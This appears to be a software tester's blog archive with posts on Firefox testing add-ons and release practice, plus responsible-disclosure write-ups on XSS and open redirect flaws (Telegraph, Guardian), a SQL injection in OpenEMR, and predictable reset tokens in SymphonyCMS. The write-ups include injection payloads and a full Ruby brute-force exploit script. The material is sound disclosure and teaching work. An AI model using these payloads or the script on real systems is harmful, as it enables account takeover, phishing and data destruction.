Monday, 23 November 2015

'No More ASCII' Firefox Add-on

Many of my clients have a multi-national (and multi-lingual) user base, and their software receives input from a range of devices, not just those configured to UK or US locales. The sites may also need to process and publish content that is 'non-ASCII'.

So when I'm quickly testing a website or web application, I need to investigate how they handle inputs from a multitude of locales, quickly.

That's why I created the No More ASCII, a Firefox Add-on, it has a set of stock text strings from a range of languages and scripts. These have been chosen for their widespread use around the world, as well as their ability to highlight deficiencies in many web-sites. For example these features of the scripts can cause problems for ASCII/poor-Unicode implementations:
  • Right To Left text  - Hebrew
  • Diacritics - Swedish
  • Non-Roman - Mandarin, Hindi etc.
The text strings may not make 'sense' as some are partial sentences or Monty Python quotes. They are aimed to have a selection of characters that may not be well encoded by your software.

Here is an example of a web site ( The Telegraph ) that doesn’t handle a Hebrew query of their articles very well:

Or take a look at the Firefox website. Queries for Mandarin Chinese characters return 'No results found.' But a search for Hindi script, returns 'Search is temporarily unavailable'. That looks like an issue i might want to investigate...

The free add-on is available to download now, and I hope to expand the list of languages/scripts available. Requests are welcome. Credit goes to Wikipedia and Omniglot for the text used.

Thursday, 19 November 2015

Counting Strings Firefox Addon

A while back I created a simple web based tool that helped you create text strings of a specified length. The text strings are created to make it easy to tell their length even if they are truncated.

The tool was based on a similar tool by James Bach, called perlclip.

I've now updated my Counting Strings script to be a free Firefox add-on. So you can now have it with you where ever you test online. You don't even need to restart your browser.

Counting Strings opens right in your browser, without affecting your website.

Wednesday, 7 October 2015

Build, Test, Ship, Learn, Rinse & repeat.

Ever feel like your team is in a deadlock? The product owner wants Gizmo+ to be shipped, your senior engineers are split between grokking Gizmo+ and fixing Widget++. Meanwhile the SDETs are franticly updating automated checks/BDD scripts and exploratory testers are uncovering that Widget+ and Gizmo+ should have been named ...+10 given the number of surprise bonus features they are finding. As a consequence feature delivery can start to slow and quality is inevitably hit as difficult decisions are made on what to fix.

The typical reactions to such a situation can depend on your project's context, but to highlight a few common ones:
  • Ramp up team size.
  • Push back on deadlines.
  • Push back on new features.
  • Delay releases until 'it all gets sorted' ...
I don't have to break it to you that these options are 'far from optimal'. In summary they all revolve around costing more and delivering less (from my time as a programme manager I can tell you - thats what we call a hard sell ).

I won't claim there is a 'magic bullet', because - there isn't. But lets try and break the problem down a little:
  1. We can't seem to get enough stuff out the door
  2. Our definition of 'enough stuff' seems to be growing
  3. What stuff does get 'done', often needs 'redoing'
  4. GO TO (1)
Speak to your team, and you'll probably find a common feeling among the team is that they are 'overwhelmed' and 'have to much to do'. Hence the instinct many people have to just 'ramp up the team'. But you can interpret those statements in two ways. Another way to see the problem is, they 'have too much to do [all at once]'.

A good analogy is the dishwasher. For example, We don't have a large kitchen, so we have a small or to be more precise: a slimline dish washer. Its a top of the range model complete with a confusing array of space age controls, and an ability to run extra quiet. But it doesn't have enough space to fit a whole days worth of dishes, cups etc. Now I could 'ramp up' to a bigger dishwasher. But thats going to get messy and expensive I'll have start plumbing in a new washer, remodeling the kitchen - replacing other equipment and fittings that work just fine right now.

So My next option is to casually disregard the sensible arrangement of dishes suggested in the manual, and load the dishes in to something approaching the density of super-dense collapsing star. As you might imagine, the cleaning ability of the dishwasher is somewhat reduced. And a lot of the dishes end up needing to be re-done in the morning. Whats even worse, I can't easily tell which dishes were cleaned - and which are providing a nutritious environment for bacteria. I have to awkwardly examine each dish in turn. As each dish was crammed in at the last minute in an undocumented free-for-all - I can't even reliably automate some tests/checks to help with this.

I lose many of the benefits of my machine as well, Its no-longer quiet and efficient, hugging a tree, healing my karma and cleaning my dishes in one go. Instead, I have to switch it to the options that translate roughly as 'noisy and inefficient' and 'i hate the planet'.

The following day, I of course have a slightly larger pile of dishes to clean. The new days dishes and the failure-demand I inherited from the day before. Just like your real feature releases, this is more work and reputational harm for your team.

Why not run the dishwasher twice? After breakfast, Fill the system to a level that seems to deliver and run it. If you haven't quite filled all the slots, thats not a problem - run it anyway. Why? because you are evening out the flow of dishes. By under-loading the dishwasher in the morning, you don't have to over-load it in the evening. Inspecting the product becomes quicker and easier to do.

Your next release cometh.

This approach provides a steady cadence to your engineers and testers. The tsunami of each big cycle becomes a more manageable ebb and flow. Getting those fixes and features out cleanly and regularly helps provide regular feedback to the team.

Did we develop something wrong? or miss a bug? we'll know sooner and can fix our team to stop it happening again [sooner]. Leave it a while, and soon the list of missed and broken things becomes something to have long and painful meetings about.

Frequent releases, can help deliver this calmer, more stable development and test process, where some features are delivered sooner and the team isn't trying to build a large complicated system, with every release. They can focus on developing and testing a small set of changes, against the back drop of a relatively stable system.

Monday, 11 August 2014

XSS and Open Redirect on Authentication pages

I recently found a couple of security issues with the website. The site contained an Open redirect as well as an XSS vulnerability. These issues were in the authentication section of the website, . The flaws could provide an easy means to phish customer details and passwords from unsuspecting users.

I informed the telegraph's technical management, as part of a responsible disclosure process. The telegraph management forwarded the issue report and thanked me the same day. (12th May 2014)

The fix went live between the 11th and 14th of July, 2 months after the issue was reported.

The details:

The code served via appeared to have 2 vulnerabilities, an open redirect and a reflected Cross Site Scripting (XSS) vulnerability. Both types of vulnerabilty are in the OWASP Top 10 and can be used to manipulate and phish users of a website. As well has potentially hijack a user's session.

Compromised URLs, that exploit these flaws would have typically have been circulated to potential victims, in emails, via twitter or facebook. The fact the web-pages were served via HTTPS, provided no added protection for the user. HTTPS was encrypting an already compromised page.

The Open Redirect was on the reenterPassword.htm page, and allowed any URL to be entered via a URL argument and used to override the desired value.

Simply replacing the URL with another site is one simple attack:

In this example,  the page included this HTML:
<input name="redirectSuccess" type="hidden" value="" />

As the Open redirect was entirely unvalidated, an attacker could even incorporate javascript directly into the link:

Here the HTML returned includes our 'dodgy' example request for the customers credit card number:
<a href="javascript:prompt('Enter Credit card number:') " title="return to last page visited">Back</a>

A screen capture of the affected page.
More details on this sort of vulnerability and how it can be mitigated can be found on the OWASP site.

The Reflected XSS issue was discovered on the login.htm page, and allowed a URL and arbitrary javascrpt code to be included in the plink URL argument.

An attack URL might look like this:

And resulted in the following HTML being inserted into the page:
<a href=""><FORM onclick="alert('HACKED')" name="?command=slideUpLight" id="link_id" class='closeLink' title="close the login window"></a>

As you can see, clicking on the Form would have resulted in the alert message 'HACKED' being presented to the customer. In a real exploit, the attackers might choose to insert more subtle code or requests for information into the page to steal or phish a users details or session.

More details on this sort of vulnerability and how it can be mitigated can be found on the OWASP site.

Details on a similar flaw in the Guardian's web site, found last yeah can be found here.

Thursday, 12 June 2014

SQL Injection security flaw in OpenEMR medical records system.

I recently examined a popular open source medical records system named OpenEMR. A quick review of the app uncovered a SQL Injection vulnerability in the application, that would allow an attacker to execute their own SQL commands against the system. The attack is relatively textbook and its detection and exploitation are outlined below. Firstly, a description of the product:
Profile: OpenEMR is a medical practice management software which also supports Electronic Medical Records (EMR). It is ONC Complete Ambulatory EHR certified and it features fully integrated electronic medical records, practice management for a medical practice, scheduling and electronic billing.

The server side is written in PHP and can be employed in conjunction with a LAMP "stack", though any operating systems with PHP-support are also supported.
In the US, it has been estimated that there are more than 5,000 installations of OpenEMR in physician offices and other small healthcare facilities serving more than 30 million patients. Internationally, it has been estimated that OpenEMR is installed in over 15,000 healthcare facilities, translating into more than 45,000 practitioners using the system which are serving greater than 90 million patients.

Source: Wikipedia:
Affected versions: OpenEMR 4.1.2 Patch 5 (and likely previous patches & releases)
Fix in: OpenEMR 4.1.2 Patch 6 

As usual I reviewed the system as a user, browsing features and recording my actions in my intercepting proxy (BurpSuite). This gave me a good idea of the default system features and usage model. Combined with review through the online documentation, I gained a broad idea of how the system is used and its features or ‘claims’.

The latest/patched code was relatively well protected against SQL Injection, with widespread use of prepared statements, a good defence against 1st order SQL Injection. But, I noticed a few queries were not parameterised. While this is not necessarily a problem, if its possible to include custom inputs into the query, then vulnerabilities can creep in.

In this case, the affected query was a delete for ‘Patient Disclosures’. When the user opts to delete a Disclosure record via the user interface the system runs this query, inserting the record identifier sent via the browser.

Unfortunately, the Open EMR system does not filter out inappropriate characters for these requests, meaning SQL can be written unmodified into the request. As long as the SQL, when combined with the remainder of the query is valid syntactically, the query is then executed. If code had restricted the input to be, for example positive integers, then this vulnerability would be largely mitigated.

You can see the vulnerable code here:

File: openemr-4.1.2/library/
function deleteDisclosure($deletelid)


       $sql="delete from extended_log where id='$deletelid'";

       $ret = sqlInsertClean_audit($sql);


As you can see the ID string is just included directly into the string used for the query.

As a proof of concept, I wrote a simple SQL extract that when injected produces a valid but nefarious query. In this case, the query deletes all Patient Disclosures.

The malicious Request URL might look like this (the malicious characters in red):


The active code inserted is:
' OR '1'='1

This generates a SQL query like this:
delete from extended_log where id='5' OR '1'='1'

The addition ensures every item in the table is deleted. Not only those with an id of 5. Other injections are of course possible, this one was chosen because its a simple demonstration of SQL Injection. Typically an attacker would try to extract user credentials, or confidential information  - in this case possibly patient medical records.

One positive aspect of the flaw is that it is not pre-auth. So the attack only works when the attacker/exploit code has access to a valid logged-in session. This makes it slightly harder to exploit, but not overly so as an attacker can use methods such as Cross Site Request Forgery to initiate ‘blind’ attacks from another browser tab. But in summary, if OpenEMR is deployed only on a local network this issue is not severe.

Note: I reported this issue in a process of responsible disclosure on a 30 day embargo. (That expired 5 days before a patch was released and 9 days before this post.  

The patch was released on the 8th June 2014 and is meant to address this issue and others. (Look for the fixes from Brady Miller to I have not tested this fix.

Monday, 24 March 2014

A security bug in SymphonyCMS ( Predictable Forgotten Password Token Generation )

(This issue is now raised in OSVDB.)

On the 20th October 2013, The SymphonyCMS project released version 2.3.4 of their Content Management System. The release included a security fix for an issue I’d found in their software. The bug made it much easier for people to gain unauthorised access to the SymphonyCMS administration pages. More about that in a moment.

The date of the release is also relevant, its a couple of days shy of 60 days after I had informed the development team of the issue. When I’d informed the team of the bug, I’d mentioned that I’d blog about the issue, sometime on or after the 60 days had elapsed. (That was in line with my Responsible Disclosure policy at the time)

Which product had the bug?

Symphony CMS is a web content management system, built in PHP. It appears to be used by several larger companies & organisations, learn more here

What was the bug?

The forgotten password functionality in v2.3.3 had a weakness, This meant an attacker could bypass the normal login process by pretending to ‘forget’ a users password. It breaks down like this:

Firstly The Attacker needed a username, that was not so difficult as usernames are not secret and can be guessed. E.g.: John Smith, might have a username of  jsmith, john.smith etc.

With the username, The Attacker filled out the forgotten password form and made a note of the date & time when he did it. That bit was easy too, common browser plugins like Firebug tell you the time a server responds to any web page request.

Firebug shows the HTTP response with the server's date & time for the response

Now comes the interesting bit, The Symphony v2.3.3 code uses the date & time to calculate the special “too hard to guess” token it uses in the forgotten password email link.  The PHP code on the server looks like this:

$token = substr(SHA1::hash(time() . rand(0, 1000)), 0, 6);

OK, so that's:

( precise to the second in php ) Easy: We got that from Firebug

Add that to…

rand(0, 1000)
A random number between zero and 1000.      
Slightly harder, but guessing a thousand numbers is easy for a computer.


Hashing does not make it harder to guess, I just have a 1000 hashes instead of a 1000 numbers now.


substr(... , 0, 6)   
The first 6 characters. That's actually making it slightly easier, The first 6 characters may be repeated in the first 6 characters of some of the hashes.

As you might have worked out by now, The Attacker has only to make [less than or equal to] 1000 guesses to access our user’s account, by only knowing their guessable user-name.

Given that by default SymphonyCMS allows users 2 hrs to use the forgotten password link after it has been sent, I have plenty of time to guess them all. This is where some simple ruby automation makes life even easier, in this exploit:


require 'watir-webdriver'
require 'digest/sha1'
require 'date'

puts "Number of arguments: #{ARGV.length}"

if ARGV.length !=2
    puts "Incorrect arguments!"
    puts "Usage:"
    puts "#{__FILE__} FQDN TIME_STRING"
    exit 2

browser =
browser.goto 'about:blank'
puts "Time string: #{ARGV[0]}"

0.upto(1000) do |random_num_guess|
    target_timestamp = DateTime.parse( ARGV[1]).to_time.to_i.to_s

    token=Digest::SHA1.hexdigest(target_timestamp + random_num_guess.to_s )[0,6]

    puts "Try #{random_num_guess} : #{exploit_url}"
    browser.goto exploit_url

    if browser.text.include? 'Retrieve password'
        puts "about:Blanking as the page is a login page."
        browser.goto 'about:blank'
        puts "This URL worked:"
        puts exploit_url

end # upto
The ruby script above works through all 1000 combinations in a browser window, trying in each one and stopping when it finds one that works, It leaves the browser window open, logged in and ready to use. As you can imagine, its usually finished before the 1000th one is reached. Even on a normal DSL / broadband connection, talking to a slow Amazon EC2 instance in Asia (I’m in th UK) - the whole process only took less than 5 minutes. 

How did I find the vulnerability?

I started checking for the low hanging fruit, simple XSS issues and ways to induce errors in any input forms and headers I could identify as useful. As usual, BurpSuite helped me see the details of the interactions and keep a record of what I had done. I traced the error-behaviour back to the code. That gave me a head start - I knew the relevant parts of the code - that were easily accessible and knew the happy and unhappy code paths.

Amongst these were the login process, and in particular the forgotten password functionality. This especially interested me, as its an essential feature - but one that necessitates the bypassing of the main authentication system. Like a back-gate in the castle wall. Reading through the PHP code, and comparing it to the behaviour - I soon noticed the likely vulnerability. Adding debug, allowed me check my assumptions - and soon I had a working exploit in ruby.

Why SymphonyCMS?

Open source tools are a great place to practice your testing skills, You can examine the system as a black box, and then crack open the code repository and check the code and configuration. You can test your assumptions about how the system works. That's more than you can do with many proprietary software systems.

I’d noticed that the Symphony content management system was used by several media companies, a market sector I have considerable experience in. So it seemed like a good fit. You are also helping to improve the software available to everyone on the internet.

What happened when I reported it?

I forwarded the details, exploit-code and a video of the issue to the development team. We discussed some options, and I pointed them towards a more secure way to create the tokens using the PHP function: openssl_random_pseudo_bytes

The SymphonyCMS team implemented a fix, and released it, as mentioned above. Unfortunately, the fix caused another issue - the forgotten password links no-longer worked at all. (They lengthened the token in the URL but not the one it compared it against in the database).

Sadly, I’ve been too busy to investigate the issue much since, or even write it up (Yes I’m writing about last year!  )

Friday, 12 July 2013

Web application security testing - A Guardian website example.

When you read a blog post like this, or an article on a website, can you be sure its the 'real thing'? How would you know if it had been doctored?

Lets assume the 'server' is fairly secure and hasn't been hacked into. So the content is going to be OK isn't it?, it looks OK..? So we've checked the location bar at the top of our web browser and it definitely has the right website/company name. No funny-looking misspelled names, possibly meaning I'm reading a fake site.

And to be doubly sure, the browsers location bar states its using HTTPS and even has that reassuring little padlock we've come to look for and trust. OK, so to recap:
  • The website's server is secured. (Well - for the the purposes of this, lets give them the benefit of the doubt)
  • The logo, words, content and layout all appear to be kosher.
  • We are using the correct website address. (No unusual spellings e.g.: etc)
  • The page is secured using HTTPS. (Warm glow from the on-screen padlock)
(Don't worry - this actual page is not secured via HTTPS, unlike our hypothetical example above)

An increasing part of my testing is application-security related, investigating websites to answer just these sorts of questions. A few months ago, In my own time, I took a quick look at the Guardian website. I've used the Guardian as an example before, as well as interesting news they have have some cool API tools to learn with. Like many news websites, the Guardian lets users create an account, and log in. This log-in form is essentially the front end to the Guardian's system, and like all software it has problems - things that can upset its users or owners.

Similar to 'normal' functional testing, you can reverse engineer how a web site or application works by a combination of trying different inputs and  examining exposed parts of the system (JavaScript/HTML/Cookies etc). Security related issues in some respects are easier to find, as you are not constrained by 'typical' system usage. Those oft-ignored 'edge cases' are quite often useful attack vectors. But just like a functional problem, the context in which the bug exists is important - What is the cost to the company to fix/not-fix? What's the risk of not fixing? Are we a target for this sort of threat? Is this a compliance issue? Are we already being hacked in this way?

After examining how the Guardian's log-in page worked (in April), I found that the Guardian's 'id' system was vulnerable to a reflected cross-site scripting (XSS) attack. The web page could be 'polluted' with code or content that wasn't from the Guardian. In this case that was via the URL, I could include my own code and execute it when the user loaded the page in their browser.

The 'reflected' term used above means that its not the Guardian's website that contains the bad/polluting code. But rather their website just reflects the bad-code back to the user - when you request a web page in a certain way. Visiting the Guardian's website directly, by manually typing in the URL, would make us immune to this particular issue. But unfortunately, the Web is errh a web, and we click links all the time - especially on things like Facebook or twitter, where the links are often even obscured or shortened.

The bug could be exploited by amending a normal looking Guardian URL to include some extra/different data:;//%0D%3C/SCRIPT%3E

(The issue is fixed now, the above URL does not exploit anymore.)

The web site would then incorporate that into its [returned] JavaScript code unchecked, instead of the normal un-tampered returnURL value:

        function gPlusSigninCallback(authResult) {
            var fallbackButton = jQuery(".google-plus-fallback-button");
            var jsButton = jQuery(".google-plus-js-button")


            if (authResult['error'] == undefined) {
                if(authResult['g-oauth-window']) {
                        url: '',
                        cache: false,
                        async: true,
                        crossDomain: true,
                        dataType: 'jsonp',
                        data: {
                            accessToken : authResult.access_token
                        success : function() {
', '_parent');
        <script type="text/javascript">
        (function() {
            var po = document.createElement('script'); po.type = 'text/javascript'; po.async = true;
            po.src = '';
            var s = document.getElementsByTagName('script')[0]; s.parentNode.insertBefore(po, s);


My XSS code would execute on that page when opened via this modified URL. That modified code can be used to rewrite parts of the page, read a user's cookies or ask the user questions such as What is your password? E.g.:

The issue was particularly bad as it was on the log-in screen, a place where users would be expecting such a question. So despite being self-assured about the authenticity of the web page, thanks to it meeting the criteria mentioned above - A user could have been easily duped.


So what did I do?

I reported the issue to a contact at the Guardian and passed on the details of the bug. Following the conventions of Responsible Disclosure, I informed the Guardian of what I had found and that I might blog about the issue, after a given time period had expired. This gives the company time to fix the issue, and security researchers like me credit for our work.


What did they do?

They fixed the bug, thereby protecting their users. They also said thanks. That's a lot more than some companies do, so I'm happy.

What can you do?

As a tester, you can start looking for these issues yourself in your systems, there are plenty of resources available to help. For example OWASP have a testing cheat sheet for many application security problems, including reflected XSS. Like other applications of exploratory testing, the real requirements are in your skills and mind-set and this comes in part from experience. 

Your security testing skills may not let you know in advance if a system has been hacked when you come to read it, but at least you will have the skills to find out if it has been - or at least how easy it might be.